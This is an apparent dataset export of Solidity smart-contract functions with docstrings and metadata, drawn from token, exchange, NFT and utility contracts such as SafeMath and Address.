contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ELTPLUS | ELTPLUS.sol | 0xe883bd2f6b311b96342ecd8046952b614f717ced | Solidity | ELTPLUS | contract ELTPLUS is ERC20 {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
address internal _admin;
mapping (address => uint256) internal balances;
mapping (address =>... | transferownership | function transferownership(address _newaddress) public returns(bool){
require(msg.sender==_admin);
_admin=_newaddress;
return true;
}
| //Admin can transfer his ownership to new address | LineComment | v0.5.11+commit.c082d0b4 | None | bzzr://6db144f5bbe040fde6c58953976ce0348fd390ca4a8b4d42ba3503d55becb435 | {
"func_code_index": [
3728,
3888
]
} | 4,200 | ||
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, tr... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
| /**
* @dev Multiplies two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
89,
266
]
} | 4,201 | |
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, tr... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
| /**
* @dev Integer division of two numbers, truncating the quotient.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
350,
630
]
} | 4,202 | |
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, tr... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
744,
860
]
} | 4,203 | |
CubegoSilver | CubegoSilver.sol | 0x904597a4628da87a7709a33dbedd09717e8f1eeb | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, tr... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://b516957f73c58f78a37fd264ed5b0e79f93575096948f8c023b18d2698b3b4f5 | {
"func_code_index": [
924,
1054
]
} | 4,204 | |
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public to... | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/ora... | LineComment | make | function make( uint256 _sellunits,
address _selltok,
uint256 _askunits,
address _asktok ) public payable returns (bytes32) {
require( safelist[_selltok], "unrecognized sell token" );
require( safelist[_asktok], "unrecognized ask token" );
if (_selltok == addr... | // required return value from onERC721Received() function | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
892,
1938
]
} | 4,205 |
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public to... | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/ora... | LineComment | // =========================================================================
// Remaining logic attempts to capture accidental donations of ether or
// certain token types
// =========================================================================
// if caller sends ether and leaves calldata blank | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
5803,
5874
]
} | 4,206 | ||
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public to... | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/ora... | LineComment | // called if calldata has a value that does not match a function | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
5945,
6017
]
} | 4,207 | ||
SEXBot | SEXBot.sol | 0x1cc7475ee5b03a6b74e8d7fe05f5f9a3524b4b8e | Solidity | SEXBot | contract SEXBot is HasAdmin {
event Made( bytes32 indexed id, address indexed seller );
event Taken( bytes32 indexed id, address indexed buyer );
event Canceled( bytes32 indexed id );
event Updated( bytes32 indexed id );
// list of well-known ERC20s tokens this contract accepts
address[] public to... | // ****************************************************************************
// Simple Ethereum Xchange roBot (S*E*X*Bot)
//
// Notes:
// 1. DO NOT do a simple Ether transfer to this contract - use the functions
// 2. Same for tokens: DO NOT transfer() tokens directly to this contract
// 3. There is no rate feed/ora... | LineComment | onERC721Received | function onERC721Received( address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data) external returns(bytes4) {
if ( _operator == address(0x0)
|| _from == address(0x0)
|| _data.length > 0 ) {} // suppr... | // ERC721 (NFT) transfer callback | LineComment | v0.6.10+commit.00c0fcaf | MIT | ipfs://e5e9972ed08a4569d2c54e8ce4652dfb3f27255819aac795b8bcae8637b4b8b5 | {
"func_code_index": [
6057,
6517
]
} | 4,208 |
GemSwap | interfaces/markets/tokens/IERC721.sol | 0xce8da327a881093f747b2d7718dcbb9115e44076 | Solidity | IERC721 | interface IERC721 {
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address f... | transferFrom | function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
| /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// n... | NatSpecSingleLine | v0.8.11+commit.d7f03943 | {
"func_code_index": [
600,
689
]
} | 4,209 | ||||
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUse... | /// @title Users | NatSpecSingleLine | addWalletList | function addWalletList(string[] memory users, address[] memory wallets) public onlyEndUserAdmin {
require(users.length == wallets.length, "Whitelisted: User and wallet lists must be of same length!");
for (uint i = 0; i < wallets.length; i++) {
_addWallet(users[i], wallets[i]);
}
}
| /// @notice registers wallet addresses for users
/// @param users Array of strings that identifies users
/// @param wallets Array of wallet addresses | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
1206,
1532
]
} | 4,210 |
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUse... | /// @title Users | NatSpecSingleLine | removeWalletList | function removeWalletList(address[] memory wallets) public onlyEndUserAdmin {
for (uint i = 0; i < wallets.length; i++) {
_removeWallet(wallets[i]);
}
}
| /// @notice removes wallets
/// @param wallets Array of addresses | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
1608,
1796
]
} | 4,211 |
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUse... | /// @title Users | NatSpecSingleLine | getUserBytesFromWallet | function getUserBytesFromWallet(address wallet) public view returns (bytes32) {
return _walletToUser[wallet];
}
| /// @notice retrieves keccak256 hash of user based on wallet
/// @param wallet Address of user
/// @return keccak256 hash | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
1932,
2059
]
} | 4,212 |
Users | Users.sol | 0x13344d0cb96b17df81c4171ce47e14ff6c1975f7 | Solidity | Users | contract Users is Ownable {
mapping(address => bytes32) _walletToUser;
RolesUsers private _roles;
event AddedWallet(bytes32 indexed userBytes, address wallet, string user);
event RemovedWallet(bytes32 indexed userBytes, address wallet);
modifier onlyEndUserAdmin {
require(_roles.hasEndUse... | /// @title Users | NatSpecSingleLine | getUserBytes | function getUserBytes(string memory user) public pure returns (bytes32) {
return keccak256(abi.encode(user));
}
| /// @notice get keccak256 hash of string
/// @param user User or Certified Partner identifier
/// @return keccak256 hash | NatSpecSingleLine | v0.6.12+commit.27d51765 | None | ipfs://61ee3abffef7d9303ed1891578c34c90c7983e53c2be24393c46a73f2bbd3bda | {
"func_code_index": [
2194,
2321
]
} | 4,213 |
FoliaController | contracts/Folia.sol | 0x55c7d3136ccdd9adc7cfa576e6b20154cd51b716 | Solidity | Folia | contract Folia is ERC721Full, Ownable {
using Roles for Roles.Role;
Roles.Role private _admins;
uint8 admins;
address public metadata;
address public controller;
modifier onlyAdminOrController() {
require((_admins.has(msg.sender) || msg.sender == controller), "DOES_NOT_HAVE_AD... | /**
* The Token contract does this and that...
*/ | NatSpecMultiLine | moveEth | function moveEth(address payable _to, uint256 _amount) public onlyAdminOrController {
require(_amount <= address(this).balance);
_to.transfer(_amount);
}
| /**
* @dev Moves Eth to a certain address for use in the CloversController
* @param _to The address to receive the Eth.
* @param _amount The amount of Eth to be transferred.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://0ee8a4dc900d0696881ade5665eeb761c18cbf2d0aa12856deb8467ccadd8df8 | {
"func_code_index": [
2177,
2358
]
} | 4,214 |
FoliaController | contracts/Folia.sol | 0x55c7d3136ccdd9adc7cfa576e6b20154cd51b716 | Solidity | Folia | contract Folia is ERC721Full, Ownable {
using Roles for Roles.Role;
Roles.Role private _admins;
uint8 admins;
address public metadata;
address public controller;
modifier onlyAdminOrController() {
require((_admins.has(msg.sender) || msg.sender == controller), "DOES_NOT_HAVE_AD... | /**
* The Token contract does this and that...
*/ | NatSpecMultiLine | moveToken | function moveToken(address _to, uint256 _amount, address _token) public onlyAdminOrController returns (bool) {
require(_amount <= IERC20(_token).balanceOf(address(this)));
return IERC20(_token).transfer(_to, _amount);
}
| /**
* @dev Moves Token to a certain address for use in the CloversController
* @param _to The address to receive the Token.
* @param _amount The amount of Token to be transferred.
* @param _token The address of the Token to be transferred.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | None | bzzr://0ee8a4dc900d0696881ade5665eeb761c18cbf2d0aa12856deb8467ccadd8df8 | {
"func_code_index": [
2632,
2879
]
} | 4,215 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
251,
437
]
} | 4,216 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
707,
848
]
} | 4,217 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1180,
1377
]
} | 4,218 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1623,
2099
]
} | 4,219 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2562,
2699
]
} | 4,220 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
... | /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3224,
3574
]
} | 4,221 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4026,
4161
]
} | 4,222 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4675,
4846
]
} | 4,223 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codeha... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
606,
1230
]
} | 4,224 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2160,
2562
]
} | 4,225 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3318,
3496
]
} | 4,226 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3721,
3922
]
} | 4,227 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4292,
4523
]
} | 4,228 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
